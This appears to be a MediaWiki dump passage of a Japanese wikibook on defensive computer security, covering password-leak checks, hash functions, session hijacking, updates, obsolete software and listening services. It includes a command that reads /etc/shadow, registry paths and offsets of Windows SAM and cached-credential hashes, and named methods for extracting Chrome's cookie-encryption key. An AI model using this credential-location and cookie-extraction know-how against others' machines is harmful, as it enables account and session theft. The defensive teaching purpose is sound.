** lime.ko (LiME, Linux Memory Extractor) [https://github.com/jtsylve/LiME]を使う（Debian/Ubuntu では lime-forensics-dkms パッケージとして用意されているが、セキュアブートの場合は前述の MOK による自己署名が必要なので非推奨{{efn|DKMS経由のカーネルモジュール導入は、UEFI セキュアブートなどで Linux カーネルのロックダウンが有効の場合 (&lt;code&gt;cat /sys/kernel/security/lockdown&lt;/code&gt; が integrity または confidentiality の場合)、Machine-Owner Key (MOK) の有効化が必要となります。MOK の鍵が無効になっている場合は再起動後に MokManager から MOK の鍵を有効にする必要があるため、MOK の鍵が無効かつ再起動が不可能な場合は lime-forensics-dkms を使うことはできません。また MOK を有効にした場合はカーネルロックダウンが無意味になる（root権限があれば悪意のあるカーネルモジュールに署名して読み込ませられるようになるため、root権限とカーネルモードのセキュリティ境界が無くなる&lt;ref name=&quot;ubuntu-secure-boot&quot;&gt;[https://documentation.ubuntu.com/security/security-features/platform-protections/secure-boot/ UEFI Secure Boot - Ubuntu security documentation] Canonical&lt;/ref&gt;）という大きな欠点も存在します。}}）
* eBPF プログラムによるメモリダンプ（モダンなシステムで推奨&lt;ref&gt;Andrea Oliveri et al. [https://www.s3.eurecom.fr/docs/dfrwseu26_oliveri.pdf LEMON: A universal eBPF-based volatile memory acquisition tool for modern android devices and hardened linux systems] Eurecom 2026年3月&lt;/ref&gt;）{{efn|ただしeBPFが有効のカーネルに限る。}}
** LEMON[https://github.com/eurecom-s3/lemon]
&lt;!--TODO: 未検証
** emd[https://github.com/ph0llux/emd] - 未検証
--&gt;

最後にクリーンな環境を使ってダンプしたメモリから暗号化に使われた鍵を見つけましょう。これには例えば以下のようなプログラムが存在します。
* C3RB3R向け: https://github.com/soimy/c3rb3r-rescue

なおこの方法はファイル暗号化の部分に共通鍵を使うランサムウェアにのみ効果があります。非対称鍵を直接ファイル暗号化に使うランサムウェアには無効なので期待しすぎないようにしましょう。

== 脚注 ==
&lt;references group=&quot;注釈&quot;/&gt;

== 参考文献 ==
&lt;references/&gt;

{{DEFAULTSORT:こんひゆうたせきゆりてい}}
[[Category:計算機科学]]
[[Category:情報技術]]</text>
      <sha1>n01n5b5sd57ddt0jmq2l4b1iwkd4gn7</sha1>
    </revision>
    <revision>
      <id>305237</id>
      <parentid>305236</parentid>
      <timestamp>2026-11-01T01:11:14Z</timestamp>
      <contributor>
        <username>~2026-54076-02</username>
        <id>92740</id>
      </contributor>
      <comment>/* セッションハイジャックを防ぐ */</comment>
      <origin>305237</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="94219" sha1="4ermtr2aluxf1lxiv4t1lvn00hjk1xw" xml:space="preserve">'''コンピュータセキュリティ'''はコンピュータの安全のことです。ここではコンピュータの安全を確保することを学びます。

== コンピュータセキュリティの基本 ==
コンピュータは弱いところから狙われるため、弱いところを無くすのがセキュリティの基本となります。

具体例を挙げましょう。一般的な光回線に繋がれてるホームネットワークを考えます。ここには光回線の先に繋がる上位ネットワークと家内のホームネットワーク (家庭におけるLAN) とを区切るエッジルーター（一般的にはハードウェア・ゲートウェイがこれに該当）が存在します。このホームネットワークに数台の新しいWindows PCと一台の古い機器が繋がっていると仮定します。

新しいWindows PC同士ではホームネットワーク経由でファイルをやり取りするためにファイルの共有 (SMB{{efn|Server Message Block}}) を有効にしているとします。一方、古い機器の方を脆弱性のある古いテレビとしましょう。このテレビはインターネットから繋いで地上デジタル放送を見るための DCTP+ {{efn|Digital Transmission Content Protection +}}が搭載されており、UPnP{{efn|Universal Plug and Play}}で自動的にエッジルーター搭載のファイアーウォールに穴あけてインターネット側から DCTP+ に繋がるようになっているものとします。

この仮定によってハッカーは DCTP+ の脆弱性を使って古いテレビに悪意のあるプログラムを実行させてファイルの共有サーバーを立て{{efn|Windows 11時点でもゲスト認証による接続は許可されている&lt;ref&gt;[https://learn.microsoft.com/en-us/windows-server/storage/file-server/smb-interception-defense?tabs=group-policy Protect SMB traffic from interception] Microsoft&lt;/ref&gt;。}}、そこからファイルの共有を通じて新しいWindows PCにマルウェア (例えば&lt;code&gt;PHOTO-&lt;ランダムな数字&gt;.png.lnk&lt;/code&gt;&lt;ref&gt;[https://www.microsoft.com/en-us/security/blog/2026/06/25/photo-zip-campaign-targeting-hospitality-industry-delivers-node-js-implant-persistent-access/ Photo ZIP campaign targeting hospitality industry delivers Node.js implant for persistent access] Microsoft 2026年6月25日&lt;/ref&gt;) を送り込むことが可能となりました。

== 安全にパスワードを使う ==
=== 流出したパスワードと被ってないかをチェックする ===
あちこちのサイトで流出したパスワードは集められてデータベース化されダークネットに流通しています。この代表的なものには2019年に登場した [[:w:en:Collection No. 1|Collection #1]] が挙げられます。この Collection #1 などの流出パスワードデータベースは辞書攻撃に利用されており、これは「Credential Stuffing攻撃」と呼ばれています。

使うパスワードが流出パスワードデータベースに載っていないかを確認するためには上記のデータベースを手に入れるか、上記のデータベースからk-匿名性で検索を行うオンラインサービスを使うと良いでしょう。

このオンラインサービスの代表的なものにはWebサイト「Have I Been Pwned」の提供する「Pwned Passwords」サービスが存在しますが、このAPIではパスワードのSHA-1ハッシュ先頭5文字を渡すと、流出したパスワードのSHA1ハッシュ6文字以降と流出データベースに載っていた回数が返答されます。
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ # License: CC0 / Public Domain
$ # パスワードを入力してSHA-1ハッシュへと変換する（ここでは'test'と入力）
$ sha1=$(read -sp &quot;Password: &quot; pass &amp;&amp; echo -n $pass | sha1sum | cut -d' ' -f1)
Password: 
$ # 変換後のハッシュを表示
$ echo $sha1
a94a8fe5ccb19ba61c4c0873d391e987982fbbd3
$ # ハッシュの先頭5文字を渡して6文字目以降を検索（':'の後ろは見つかった数）
$ curl -s https://api.pwnedpasswords.com/range/$(echo $sha1 | cut -c 1-5) | grep -i $(echo $sha1 | cut -c 6-)
FE5CCB19BA61C4C0873D391E987982FBBD3:1579235
&lt;/syntaxhighlight&gt;

ハッシュの先頭5文字も渡したくない場合や、自社サービスでチェックを行いたい場合は上記のサービスが公式で提供するツール「haveibeenpwned-downloader」[https://github.com/HaveIBeenPwned/PwnedPasswordsDownloader]で全てのハッシュデータをダウンロードして自前で照合しましょう。

=== 解析耐性のある鍵導出関数を使う ===
パスワードでは計算負荷の低い SHA-256 や SHA-512 などの通常のハッシュ関数、メモリ負荷の低い [[:w:PBKDF2|PBKDF2]] や bcrypt などの古い[[:w:鍵導出関数|鍵導出関数]]（パスワードハッシュ関数）を使わないようにしましょう。これらの弱いハッシュ関数は GPU や ASIC で高速に解かれてしまいます。

より強いパスワードハッシュ関数としては yescrypt や Argon2id が存在します。パスワードにはこちらを使いましょう。現代の Linux ではアカウントのパスワードハッシュ関数として yescrypt が標準となっています。

使っている Linux の新規アカウントで使われるパスワードハッシュ関数は以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ grep -n 'pam_unix.so' /etc/pam.d/common-password
26:password     [success=2 default=ignore]      pam_unix.so obscure use_authtok try_first_pass yescrypt
&lt;/syntaxhighlight&gt;

Linuxの現在のアカウントがどのハッシュ関数を使用しているかは以下で確認可能です:
&lt;syntaxhighlight lang=&quot;shell-session&quot;&gt;
$ sudo cat /etc/shadow | grep $USER # $(1|5|6|b)$=弱い、$y$=強い
user:$y$j9T$ST7oYwlQjFy7/8vnL/Ugt0$po4vW4qgGu8lpUNRtH0B3hDHGZACzcRhzIKhqlx.2Z5:20743:0:99999:7:::
&lt;/syntaxhighlight&gt;

弱いハッシュ関数を使用している場合は&lt;code&gt;passwd $USER&lt;/code&gt;でパスワードを再設定して使用するハッシュ関数を更新してください。

一方、Windows 10 以前のローカルアカウントではパスワードハッシュがレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SAM\&lt;wbr&gt;SAM\&lt;wbr&gt;Domains\&lt;wbr&gt;Account\&lt;wbr&gt;Users\&lt;wbr&gt;(ユーザーID)\&lt;wbr&gt;V&lt;/code&gt;{{efn|name=&quot;sam&quot;}}のバイナリの以下の場所に存在します:
* [[:w:LMハッシュ|LMハッシュ]]:  0xCC + (0x9C に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt;
* NTLMハッシュ:  0xCC + (0xA8 に指定されたオフセット)&lt;ref name=&quot;sam-ghost&quot;/&gt; 

LMハッシュは [[:w:LAN Manager|LAN Manager]] に使われていた [[:w:Data Encryption Standard|DES]] ベースの古いハッシュ、NTLMハッシュは [[:w:NT LAN Manager|NT LAN Manager]] に使われている [[:w:MD4|MD4]] ベースの古いハッシュであり、どちらも非常に弱いものとなっていました。

また Windows の Active Directory ドメインアカウントのオフライン認証向けキャッシュ済みドメイン資格情報はレジストリの&lt;code&gt;HKEY_LOCAL_MACHINE\&lt;wbr&gt;SECURITY\&lt;wbr&gt;Cache&lt;/code&gt;に存在します:
* DCC1 ハッシュ (MSCache v1): 弱い MD4 ベース。Windows XP以前。
* DCC2 ハッシュ (MSCache v2) : 弱めの PBKDF2-HMAC-SHA1 ベース。Windows Vista以後&lt;ref&gt;[https://attack.mitre.org/techniques/T1003/005/ OS Credential Dumping: Cached Domain Credentials] MITRE 2025年10月24日&lt;/ref&gt;。

2021年にリリースされた Windows 11 以降は Microsoft アカウントが必須となっています。

&lt;!--TODO: 
Windows Hello、LSA Secrets

=== パスワードの複雑性をチェックする ===
=== TPMで鍵を隔離する ===
--&gt;

=== セッションハイジャックを防ぐ ===
パスワードの悪用は年々難しくなっていますが、それに代わるものとしてブラウザセッション（Cookieなど）を乗っ取る「セッションハイジャック」という手法も流行しています。

これには例えばマルウェアでブラウザのセッションファイルを抜き取る、正規サイトに挿入される広告などの Javascript ファイルから Cookie (&lt;code&gt;document.cookie&lt;/code&gt;) を抜き取る（Webサイト側は Cookie の HttpOnly 属性、 SameSite 属性で対策可）などの方法が考えられます。

また以前は暗号化通信 (HTTPS) を遮断したり転送するなどして非暗号化通信 (HTTP) にフォールバックさせるという攻撃もありました（Webサイト側はHTTPヘッダの Strict-Transport-Security や Cookie の Secure 属性で対策）が、Chrome 154 以降は HTTP のサイト自体に警告が出るようになりました。

ブラウザのセッションファイルは以下のように暗号化されています&lt;ref name=&quot;google-cookie-2024&quot;/&gt;。
{| class=&quot;wikitable&quot;
|+ Chromeのセッションファイルの暗号化&lt;ref name=&quot;google-cookie-2024&quot;&gt;[https://developers-jp.googleblog.com/2024/08/improving-security-of-chrome-cookies-on.html Windows 版 Chrome で Cookie のセキュリティを向上させる] Google 2024年8月15日&lt;/ref&gt;
|-
! Windows !! macOS !! Linux (GNOME) !! Linux (KDE)
|-
| アプリケーション バウンド暗号化 || [[:w:Keychain|Keychain]]サービス || [[:w:GNOME Keyring|GNOME Keyring]] (libsecret) || [[:w:KWallet|KWallet]]
|}

しかしながらアプリケーション バウンド暗号化では鍵抽出 (Local Stateファイルのapp_bound_encrypted_keyからElevation Serviceでdecrypt)&lt;ref&gt;[https://www.fortinet.com/jp/blog/threat-research/svg-phishing-hits-ukraine-with-amatera-stealer-pureminer SVGフィッシングでウクライナを攻撃：Amatera StealerとPureMiner利用] Fortinet 2025年10月17日&lt;/ref&gt;、パディングオラクル攻撃を基にした C4 (Chrome Cookie Cipher Cracker) 攻撃&lt;ref&gt;[https://www.security-next.com/172016 ブラウザ「Chrome」の「Cookie暗号化保護」を破壊する「C4攻撃」] NEWSGAIA 2025年7月4日&lt;/ref&gt;、暗号化鍵の鍵置換 (key substitution) 攻撃&lt;ref&gt;[https://issues.chromium.org/issues/513204839 Potential App-Bound Encryption bypass via PROTECTION_NONE key substitution in Local State] Google&lt;/ref&gt;などによってそれを抜き出すことが行われています。

またアプリケーション バウンド暗号化はポリシー設定 ( chrome://policy ) の ApplicationBoundEncryptionEnabled を false にすることで無効化することができる&lt;ref&gt;[https://chromeenterprise.google/policies/#ApplicationBoundEncryptionEnabled Chrome Enterprise のポリシーリストと管理 - ドキュメント - ApplicationBoundEncryptionEnabled] Google&lt;/ref&gt;ため、無効になってないかを確認しておきましょう。

== 既製製品の脆弱性を塞ぐ ==
まずは弱いところを無くしましょう。

=== ソフトウェアアップデートをする ===
セキュリティの基本はソフトウェアアップデートです。

==== PCおよびモバイル ====
PC{{efn|PCサーバを含む}}やモバイルでは基本的に自動で通知が来るので忘れずにアップデートを選択しましょう。手動では以下のように行います:
; Windows
: システムのアップデートは基本的に [[:w:Microsoft Update|Microsoft Update]] (Windows Update) で、アプリケーションのアップデートは基本的に&lt;code&gt;winget upgrade --all&lt;/code&gt;コマンドで行います。
: また Windows 11 Enterprise では再起動が不要なホットパッチにも対応しています。
; macOS / iOS
: 「ソフトウェアアップデート」
; Ubuntu / Debian
: [[:w:APT|APT]]パッケージ管理システムでは&lt;code&gt;apt upgrade&lt;/code&gt;コマンドで更新を行います。
: Ubuntu では GUI による更新用として[[:w:Software Updater|Software Updater]] (&lt;code&gt;update-manager&lt;/code&gt;コマンド)、[[:w:Snap (ソフトウェア)|Snap]]パッケージの更新コマンドとして&lt;code&gt;snap refresh&lt;/code&gt;、メジャーバージョンの更新コマンドとして&lt;code&gt;do-release-upgrade&lt;/code&gt;も存在します。
: また Ubuntu では Ubuntu Pro に登録することで再起動が不要なカーネル修正の「Livepatch」も可能となります（個人では5台まで無料）。SUSEではユーザー空間ライブパッチングまで提供されています（glibc と openssl のみ）&lt;ref&gt;[https://documentation.suse.com/ja-jp/sles/15-SP6/html/SLES-all/cha-ulp.html ユーザ空間ライブパッチ - 管理ガイド - SLES 15 SP6] SUSE&lt;/ref&gt;。
; RedHat / Fedora
: &lt;code&gt;yum update&lt;/code&gt;コマンド
; Android
: 「設定」アプリ→「システム」→「システムアップデート」または「ソフトウェアアップデート」 

また個々のハードウェアのファームウェアアップデートは以下で行います:
; Linux
: Linuxにおけるファームウェアの更新は基本的に&lt;code&gt;fwupdmgr update&lt;/code&gt;コマンドで行います。
: NVMe SSDのファームウェアの更新は&lt;code&gt;nvme fw-download&lt;/code&gt;コマンドおよび&lt;code&gt;nvme fw-commit&lt;/code&gt;コマンドで行うことができます。
一方、Windows ではファームウェアのアップデートも Windows Update 経由で&lt;ref&gt;[https://learn.microsoft.com/ja-jp/windows-hardware/drivers/bringup/firmware-update ファームウェアの更新] Microsoft&lt;/ref&gt;、macOS ではファームウェアのアップデートもmacOSアップデートで行うことができます&lt;ref&gt;[https://support.apple.com/ja-jp/guide/mac-help/mchlp2609/mac Macのファームウェアアップデートの入手方法] Apple&lt;/ref&gt;。

&lt;!--
また開発環境では以下も存在します:
; Python
: &lt;code&gt;pip -U install&lt;/code&gt;
--&gt;

==== ルーター ====
ルーターでは以下の設定を有効のままにしておきましょう:
; AirStationシリーズ（Buffalo 製ルーター）
: 「ファームウェア自動更新機能」
; Atermシリーズ（NEC 製ルーター）
: 「メンテナンスバージョンアップ機能」「時刻指定バージョンアップ機能」

==== テレビ ====
テレビでは放送波アップデートが行われるため、「放送波による自動更新」&lt;!--TODO: メーカー別名--&gt;を有効にしましょう。

=== 高速に再起動する ===
パッケージは更新しただけでは反映されません（一部デーモンの更新を除く）。Linuxでは高速に再起動する方法が存在し、これによってダウンタイムを減らすことができます。
; 更新で影響を受けるデーモンのみ再起動する
:* Ubuntu Server: 標準で &lt;code&gt;needrestart&lt;/code&gt; が導入されており自動で影響を受けるデーモンの再起動が行われます{{efn|自動的なデーモン再起動を止めるには /etc/apt/apt.conf.d/99needrestart より&lt;code&gt;-m u&lt;/code&gt;を削除する必要があります&lt;ref&gt;[https://discourse.ubuntu.com/t/needrestart-changes-in-ubuntu-24-04-service-restarts/44671 `needrestart` changes in Ubuntu 24.04: service restarts] Canonical 2024年&lt;/ref&gt;。}}（Ubuntu Desktopでは別途導入が必要）。
:* RedHat / Fedora: &lt;code&gt;dnf needs-restarting&lt;/code&gt;が導入されており、それによって再起動するべきデーモンを確認できます。
; ユーザー空間のみ再起動する（カーネルの更新がない、またはカーネルでlive patchingを行ってる場合）
: &lt;code&gt;sudo systemctl soft-reboot&lt;/code&gt;
; 高速にカーネルを更新する（ファームウェアの更新がない場合）
: &lt;code&gt;sudo systemctl kexec&lt;/code&gt;

また一部のソフトウェアではホットアップグレード（無停止アップグレード{{efn|Zero-Downtime Upgrade}}）にも対応しています (nginx の USR2 シグナル&lt;ref&gt;[https://nginx.org/en/docs/control.html Controlling nginx] nginx&lt;/ref&gt;など)。

=== 代替ソフトウェアを探す ===
更新が停止された古いソフトウェアの多くはそれ自身に脆弱性が存在したり、脆弱性のある古いライブラリに依存していたりします。そのため古いソフトウェアは速やかに代替ソフトウェアへと移行しましょう。

==== 開発終了したソフトウェアから現役のソフトウェアへ ====
古いソフトウェアには例えば以下があります:
* オフィススイート（代替候補: LibreOffice）
** [[:w:OpenOffice.org|OpenOffice.org]]（〜2011年）
* 画像ビューア
** [[:w:Susie|Susie]] （〜2013年）
* メディアプレイヤー
** [[:w:QuickTime|QuickTime]] for Windows（〜2016年） - リモートコード実行の脆弱性 ([https://www.zerodayinitiative.com/advisories/ZDI-16-241/ ZDI-16-241]、[https://www.zerodayinitiative.com/advisories/ZDI-16-242/ ZDI-16-242]) を残したままサポート終了しました&lt;ref&gt;[https://internet.watch.impress.co.jp/docs/news/753400.html Apple、「QuickTime for Windows」のサポートを終了、アンインストールを推奨] Impress 2016年4月15日&lt;/ref&gt;。
* メディアフィルター（代替候補: LAV Filters）
** [[:w:ffdshow|ffdshow]]（〜2014年）
** [[:w:Haali Media Splitter|Haali Media Splitter]]（〜2013年） 
* メディアセンター（代替候補: Kodi）
** [[:w:en:Boxee|Boxee]]（〜2011年）
** [[:w:Kodi|XBMC]]（〜2014年） - Kodiの前身
* 圧縮ソフトウェア
** [[:w:+Lhaca|+Lhaca]]（〜2007年）
** [[:w:Lhaplus|Lhaplus]]（〜2017年）

またハードウェアに由来する古いソフトウェアには例えば以下があります:
* [[w:ウォークマン|ウォークマン]]関連（代替候補: [[:w:Music Center for PC|Music Center for PC]]）
** [[:w:CONNECT Player|CONNECT Player]]（〜2007年、Sony）
** [[:w:SonicStage|SonicStage]]（〜2009年、Sony）
** [[:w:x-アプリ|x-アプリ]]（〜2016年、Sony）
* DTCP-IP関連
** SmartVision/PLAYER powered by DiXiM（〜2019年、NEC）&lt;ref&gt;[https://support.nec-lavie.jp/navigate/support/info/2019/announce/svp/ SmartVision/PLAYER保守サービス終了のお知らせ] NECパーソナルコンピュータ 2019年1月28日&lt;/ref&gt;&lt;ref&gt;[https://apps.microsoft.com/detail/9wzdncrdkb4c?hl=ja-JP&amp;gl=JP SmartVision/PLAYER powered by DiXiM] Microsoft&lt;/ref&gt;
** DiXiM Digital TV plus for I-O DATA（〜2022年、I-O DATA）&lt;ref&gt;[https://www.iodata.jp/lib/product/d/3533.htm DiXiM Digital TV plus for I-O DATA] I-O DATA&lt;/ref&gt;

なお仮想マシンを使って隔離しながら古いソフトウェアを動かすこともできますが、仮想マシンでも「VMエスケープ」の脆弱性を使用することでホスト環境への侵害が可能なため、仮想マシンの上で弱い環境や弱いソフトウェアを使うこともなるべく避けましょう。&lt;!--TODO: Windows Sandbox--&gt;

==== 古いバージョンのライブラリを避ける ====
多くのソフトウェアに使用されているライブラリとその過去の危険な脆弱性には例えば以下があります:&lt;!--危険を認識させる。例はライブラリ内のメイン処理に存在し、任意コード実行であり、脆弱性の存在期間が長く、新しいものが好ましい。--&gt;
* 画像ライブラリ
** libpng - [https://access.redhat.com/security/cve/cve-2010-1205 CVE-2010-1205]（PNG画像で任意コード実行の可能性）
** libjpeg-turbo - [https://access.redhat.com/security/cve/cve-2012-2806 CVE-2012-2806]（JPEG画像で任意コード実行の可能性）
** OpenJPEG - [https://access.redhat.com/security/cve/cve-2025-54874 CVE-2025-54874]（JPEG2000画像で任意コード実行の可能性）
** libtiff - [https://access.redhat.com/security/cve/cve-2026-12912 CVE-2026-12912]（PixarLog圧縮TIFF画像で任意コード実行の可能性）
** libwebp - [https://access.redhat.com/security/cve/cve-2023-4863 CVE-2023-4863]（WebP画像で任意コード実行の可能性）
* 動画ライブラリ
** FFmpeg - [https://access.redhat.com/security/cve/cve-2024-22860 CVE-2024-22860]（JPEG XLアニメーションで任意コード実行の可能性）
* 圧縮ライブラリ
** libarchive - [https://access.redhat.com/security/cve/cve-2026-15028 CVE-2026-15028]（tarアーカイブ形式で任意コード実行の可能性）
** zlib - [https://access.redhat.com/security/cve/cve-2002-0059 CVE-2002-0059]（Deflate圧縮形式で任意コード実行の可能性）
** bzip2 - [https://access.redhat.com/security/cve/cve-2010-0405 CVE-2010-0405]（BZ2圧縮形式で任意コード実行の可能性）

これらのライブラリはABI（アプリケーションバイナリインターフェイス）が変更されて新しいバージョンの共有ライブラリにドロップイン置換できないものも多くなっています。

また国内で使われている古いソフトウェアでは開発中止になった以下のライブラリも問題となっています:
* UNLHA32.DLL&lt;ref&gt;[https://forest.watch.impress.co.jp/docs/news/372729.html 圧縮・解凍用DLL「UNLHA32.DLL」が開発中止、作者はLZHの利用中止を呼びかけ] Impress 2010年6月7日&lt;/ref&gt;

Webフレームワークでは開発中止となった以下のフレームワークが問題となっています:
* [[:w:Model View Controller|Model View Controller]]フレームワーク（代替候補: [[:w:Apache Struts|Apache Struts]] 2、[[:w:Spring Framework#Model-View-Controller フレームワーク|Spring MVC]]）
** [[:w:en:Apache Struts 1|Apache Struts 1]]（〜2008年） - Java言語
* [[:w:アスペクト指向プログラミング|アスペクト指向フレームワーク]]（代替候補: [[:w:Spring Framework|Spring Framework]]、[[:w:en:Micronaut (framework)|Micronaut]]）
** [[:w:Seasar|Seasar]]（〜2016年） - Java言語
* [[:w:シングルページアプリケーション|シングルページアプリケーション]]フレームワーク（代替候補: [[:w:Angular|Angular]]、[[:w:Vue.js|Vue.js]]）
** [[:w:AngularJS|AngularJS]]（〜2022年） - JavaScript

=== 古いハードウェアに対処する ===
サポート切れの OS を搭載したハードウェアはどうすれば良いでしょうか。これには使い続けるいくつかの方法がありますが、基本的にオススメしません。古い OS を搭載していたハードウェアはハードウェア仕様も古いからです。

==== スタンドアロン運用 ====
古いハードウェアはインターネットに繋がずに使用すること（スタンドアロン運用）も可能です。

しかしながらUSBメモリでデータをやり取りする場合はUSBメモリ経由での感染などのリスクは残ります。

==== 新しめのLinuxを導入 ====
新しめのLinuxを導入するという方法もあります。

これに適したものでは例えばWindows 11非対応のPC (Intel 第7世代以前、AMD Ryzen 1000シリーズ以前) が挙げられます。

またスマートフォンやタブレットであればカスタムROMが、ルーターであればDD-WRTやOpenWRTが存在します。

==== 手放す ====
手に負えなければデータだけバックアップして手放しましょう。情報が漏れないよう初期化も忘れずに。

== 不要なサービスを止める / 削除する ==
{| class=&quot;wikitable&quot;
|+ サービス表示系コマンド
|-
! 稼働中のシステムサービスを見る
| &lt;code&gt;systemctl --type=service --state=running&lt;/code&gt;
|-
! 稼働中のユーザーサービスを見る
| &lt;code&gt;systemctl --user --type=service --state=running&lt;/code&gt;
|}

=== TCP/UDP経由のサービス ===
TCP/UDPでのポート待ち受けのあるプロセスを見るには &lt;code&gt;sudo ss -tulnp&lt;/code&gt; を、通信しているプロセスを見るには &lt;code&gt;sudo lsof -i -P -n&lt;/code&gt; を実行しましょう。

{| class=&quot;wikitable&quot;
|+ 主なポート待ち受けのあるプロセス
|-
! ポート !! 機能 !! プロセス名 !! サービス名または起動コマンド !! パッケージ名 (Ubuntu) || 直接問い合せコマンド
|-
| rowspan=2 | 53/UDP&lt;br&gt;53/TCP || rowspan=2 | DNS（名前解決） || systemd-resolved || systemd-resolved.service || systemd-resolved || &lt;code&gt;dig @127.0.0.53 example.com&lt;/code&gt;
|-
| dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;dig @10.208.199.1 example.com&lt;/code&gt;
|-
| rowspan=2 | 5353/UDP || rowspan=2 | [[:w:マルチキャストDNS|マルチキャストDNS]] || systemd-resolved || systemd-resolved.service ||  systemd-resolved || &lt;code&gt;resolvectl -p mdns query $HOSTNAME.local&lt;/code&gt;
|-
| Avahi || avahi-daemon.service || avahi-daemon || &lt;code&gt;avahi-resolve-host-name $HOSTNAME.local&lt;/code&gt;
|-
| 67/UDP&lt;br&gt;547/UDP || [[:w:DHCP|DHCP]]&lt;br&gt;[[:w:DHCPv6|DHCPv6]] || dnsmasq || dnsmasq.service&lt;br/&gt;dnsmasq@.service || dnsmasq-base&lt;br&gt;dnsmasq || &lt;code&gt;IP=$(ip -4 -o addr show pan1 &amp;vert; grep -oP '(?&lt;=inet )[\d.]+'); sudo dhcping -v -i -s &quot;$IP&quot; -c &quot;$IP&quot;&lt;/code&gt;{{efn|Ubuntuではdhcpingパッケージの導入が必要です。}}
|-
| rowspan=2 | 68/UDP&lt;br&gt;546/UDP || rowspan=2 | DHCPクライアント&lt;br&gt;DHCPv6クライアント{{efn|単独のDHCPクライアントである dhclient、dhcpcd なども存在する。また開発終了になったisc-dhcp-clientも存在した。}} || systemd-networkd&lt;wbr&gt;{{efn|name=&quot;network-all&quot;}} || || systemd || 
|-
| NetworkManager&lt;wbr&gt;{{efn|name=&quot;network-all&quot;|ネットワーク管理全般を担当しています。}} || NetworkManager.service || network-manager || 
|-
| rowspan=2 | 123/UDP&lt;br&gt;4460/TCP || rowspan=2 | NTP（時刻同期）&lt;br&gt;NTS-KE （NTPの鍵交換）{{efn|これらの代替として systemd-timesyncd もありますが、こちらは NTP の代わりに単純な SNTP のみ実装の上、サーバーを持たずクライアント側のみ対応です。}} || ntpd || ntpsec.service || ntpsec || rowspan=2 | &lt;code&gt;ntpdig localhost&lt;/code&gt;{{efn|ローカルへのNTP問い合せは&lt;code&gt;ntpdate -q localhost&lt;/code&gt;でもできますが、こちらはNTP-KE非対応です。}}
|-
| chronyd || chrony.service || chrony
|-
| 80/TCP&lt;br&gt;443/HTTP&lt;br&gt;443/UDP || HTTP&lt;br&gt;HTTPS&lt;br&gt;HTTP/3 (QUIC) || apache2 || apache2.service&lt;br&gt;apache2@.service&lt;br&gt;httpd.service&lt;br&gt;httpd@.service || apache2 || HTTP: &lt;code&gt;curl http://localhost&lt;/code&gt;&lt;br&gt;HTTPS: &lt;code&gt;curl --http2 https://localhost&lt;/code&gt;&lt;br&gt;HTTP/3: &lt;code&gt;curl --http3-only https://localhost&lt;/code&gt;
|-
| rowspan=2 | ユーザーポート/UDP || rowspan=2 | HTTP/3 (QUIC) クライアント&lt;br&gt;WebRTCクライアント || chrome{{efn|Google Chrome}} || &lt;code&gt;google-chrome&lt;/code&gt; || google-chrome (公式APTリポジトリ) || 
|-
| firefox{{efn|Mozzila Firefox}} || &lt;code&gt;firefox&lt;/code&gt; || firefox (snap) || 
|-
| rowspan=2 |21/TCP&lt;br&gt;20/TCP{{efn|アクティブモードのみデータ転送で使われます。}} || rowspan=2 | FTP || proftpd || proftpd.service&lt;br&gt;proftpd@.service || proftpd-core || rowspan=2 | &lt;code&gt;curl ftp://localhost&lt;/code&gt;
|-
| vsftpd || vsftpd.service || vsftpd
|-
| 22/TCP || SSH / SFTP || sshd || ssh.service&lt;br&gt;sshd@.service || openssh-server || &lt;code&gt;ssh-keyscan 127.0.0.1&lt;/code&gt;
|-
| rowspan=2 | 6881/TCP || rowspan=2 | BitTorrent || qbittorrent || &lt;code&gt;qbittorrent&lt;/code&gt; || qbittorrent ||
|-
| ktorrent || &lt;code&gt;ktorrent&lt;/code&gt; || ktorrent ||
|-
| rowspan=2 | 51413/TCP || rowspan=2 | Transmission&lt;wbr&gt;{{efn|BitTorrentプロトコル。TransmissionをベースとするFragmentsも同ポートを使用します。}} || transmission-daemon || transmission-daemon.service || transmission-daemon ||
|-
| transmission-gtk || &lt;code&gt;transmission-gtk&lt;/code&gt; || transmission-gtk ||
|-
| 5001/TCP&lt;br&gt;5001/UDP || rowspan=2|  ネットワークパフォーマンス計測 || iperf || &lt;code&gt;iperf -s&lt;/code&gt; || iperf || &lt;code&gt;iperf -c localhost&lt;/code&gt;
|-
| 5021/TCP&lt;br&gt;5021/UDP || iperf3 || &lt;code&gt;iperf3 -s&lt;/code&gt; || iperf3 || &lt;code&gt;iperf3 -c localhost&lt;/code&gt;
|-
| 1716/UDP&lt;br&gt;1716/TCP&lt;br&gt;ユーザーポート/UDP || スマートフォン連携 (KDE) || kdeconnectd || &lt;code&gt;kdeconnect-app&lt;/code&gt; || kdeconnect ||
|-
| ユーザーポート/TCP || Claude Proxy Service || code{{efn|[[:w:Visual Studio Code|Visual Studio Code]]のプロセス。}} || &lt;code&gt;code&lt;/code&gt; || code (公式APTリポジトリ) || 
&lt;!--
|-
|  || AI コーディング支援 (Google Antigravity CLI{{efn|Command Line Interface}}) || agy || || (Visal Studio Code拡張) || 
--&gt;
|-
| rowspan=2 | 3389/TCP&lt;br&gt;3389/UDP || rowspan=2 | Remote Desktop Protocol || gnome-remote-desktop-daemon{{efn|GNOME Remote Desktop}} || gnome-remote-desktop.service&lt;!-- (system)--&gt;&lt;br&gt;gnome-remote-desktop.service (user)&lt;br&gt;gnome-remote-desktop-headless.service (user) || gnome-remote-desktop || 
|-
| krdpserver || app-org.kde.krdpserver.service (user) || krdp || 
|-
| 47984/TCP&lt;br&gt;47989/TCP&lt;br&gt;48010/TCP&lt;br&gt;47998–48010/UDP || NVIDIA GameStream || sunshine ||  app-dev.&lt;wbr&gt;lizardbyte.&lt;wbr&gt;app.&lt;wbr&gt;Sunshine.service (user) || sunshine (公式debファイル) ||  (moonlight-qt)
|-
